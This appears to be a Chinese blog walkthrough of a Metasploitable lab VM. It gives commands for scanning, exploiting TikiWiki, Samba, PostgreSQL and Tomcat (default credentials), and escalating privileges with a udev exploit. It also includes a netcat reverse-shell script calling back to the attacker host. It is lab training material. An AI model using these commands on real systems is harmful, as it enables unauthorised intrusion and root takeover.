Metasploitable靶场练习

下载地址:https://www.vulnhub.com/entry/metasploitable-1,28/

一、主机发现

sudo netdiscover -i vmnet1 -r 192.168.70.0/24
ShellScript

二、端口扫描

nmap -sS -sV -A 192.168.70.132 > nmap.txt
ShellScript

发现开放了80端口

三、目录扫描

dirsearch "http://192.168.70.132"
ShellScript

发现phpinfo.php和/tikiwiki/tiki-index.php

先看看phpinfo有什么可用的信息,简单浏览没发现

再去tikiwiki看看,TikiWiki版本号是 1.9.5,去找找也没有这个版本的漏洞

searchsploit tikiwiki 1.9.5
ShellScript

searchsploit没有找到比较有用的漏洞,去网上找找

四、IKIWIKI_GRAPH_FORMULA_EXEC

在github发现这个版本有个IKIWIKI_GRAPH_FORMULA_EXEC漏洞点我打开

可以直接使用作者提供的脚本,或者可以使用msf里面的功能

./tikiwiki_graph_formula_exec.sh http://192.168.70.132/tikiwiki&
nc -vn 192.168.70.132 1337
ShellScript

输入whoami来查看是否连接成功

成功连入!

#查看内核信息
uname -a
#查看操作系统版本信息
head -n 1 /etc/issue
#查看系统信息
cat /proc/version
ShellScript

总结下来:

  • 系统:Ubuntu 8.04
  • 内核版本:2.6.24-16-server
  • gcc版本:4.2.3
ls /usr/bin
ShellScript

发现有python2和netcat和wget

searchsploit ubuntu 2.6
ShellScript

很多,就用这个吧

searchsploit -m linux/local/8572.c
ShellScript
python -c 'import pty;pty.spawn("/bin/bash")'
#进入/tmp目录
cd /tmp
ShellScript
#如果没有web服务器可以使用python创建一个web服务
python -m http.server 80

#获取文件
wget http://192.168.70.1/8572.c
ShellScript
gcc 8572.c -o shellcode

#查询udev的PID,shellcode脚本要用
pgrep udev

#创建run以备反弹rootshell用
echo '#!/bin/sh' > /tmp/run
echo '/bin/netcat 192.168.70.1 4445 -e /bin/sh' >> /tmp/run

#在kali开启反弹shell
nc -lvvp 4445

#启动shellcode
./shellcode udev的值-1
ShellScript

五、SMB(CVE-2007-2447)

nmap的扫描发现开放了smb端口,版本为3.0.20-Debian

去searchsploit找找没发现对应的漏洞,那就去网上查查,发现有Samba 3.0.20 < 3.0.25rc3 – ‘Username’ map script’ Command Execution Samba远程Shell命令注入执行漏洞,

search 'Username' map script' Command Execution
use multi/samba/usermap_script
set RHOST 192.168.70.132
ShellScript

六、PostgreSQL命令执行漏洞(CVE-2007-3280)

5432端口是开放了PostgreSQL服务的,在百度搜索PostgreSQL DB 8.3.0 – 8.3.7发现了exp,

https://www.infosecmatter.com/metasploit-module-library/?mm=exploit/linux/postgres/postgres_payload

use exploit/linux/postgres/postgres_payload
options
set RHOSTS 192.168.70.132
run
ShellScript

七、tomcat manager

8180开放了tomcat服务,在Tomcat Manager是可以上传木马wap包的,使用默认密码尝试登入tomcat:tomcat,可以登入,手动上传war包,或者使用msf

use multi/http/tomcat_mgr_deploy
set HttpPassword tomcat
set HttpUsername tomcat
set HttpUsername 192.168.70.132
set LHOST 192.168.70.1
run
ShellScript

发现不是root权限,还需要提权

在/root下发现.ssh/authorized_keys公钥,并且可读,刚才看到ssh版本是存在Debian OpenSSL 弱随机数漏洞的,

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇